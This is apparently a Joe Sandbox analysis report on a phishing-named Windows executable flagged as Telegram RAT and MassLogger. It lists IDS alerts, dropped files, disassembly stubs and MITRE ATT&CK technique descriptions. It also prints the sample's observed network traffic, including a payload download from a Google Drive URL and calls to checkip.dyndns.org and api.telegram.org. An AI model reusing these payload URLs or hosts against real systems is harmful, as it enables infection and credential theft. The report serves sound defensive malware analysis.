Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE2F90h	5_2_37EE2CE8
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE4DF8h	5_2_37EE4B50
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE1CF8h	5_2_37EE1A50
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE3C98h	5_2_37EE39F0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE0B98h	5_2_37EE08F0
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then jmp 37EE2B38h	5_2_37EE2890
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then push 00000000h	5_2_3845E628
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then push 00000000h	5_2_3845F176
Source: C:\Users\user\Desktop\Request for Quotation New collaboration.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	5_2_3845F438

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49737 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49714 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49711 -> 172.217.19.174:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OlIwWq_GKcHvk57DLTBJYgDUIGtf5du_ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1OlIwWq_GKcHvk57DLTBJYgDUIGtf5du_&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Request for Quotation New collaboration.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsy7785.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe\Housemates.Irr227

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe\img2.jpg

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe\pinrail.whe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe\unyouthfully.ske

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Genoprettendes\Emalje.kap

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Woolwheel.Non

Static File Info

General

File Icon

Windows Analysis Report
Request for Quotation New collaboration.exe

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00402DBC Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00403062 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
fileCOMMON

Function 00405B85 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre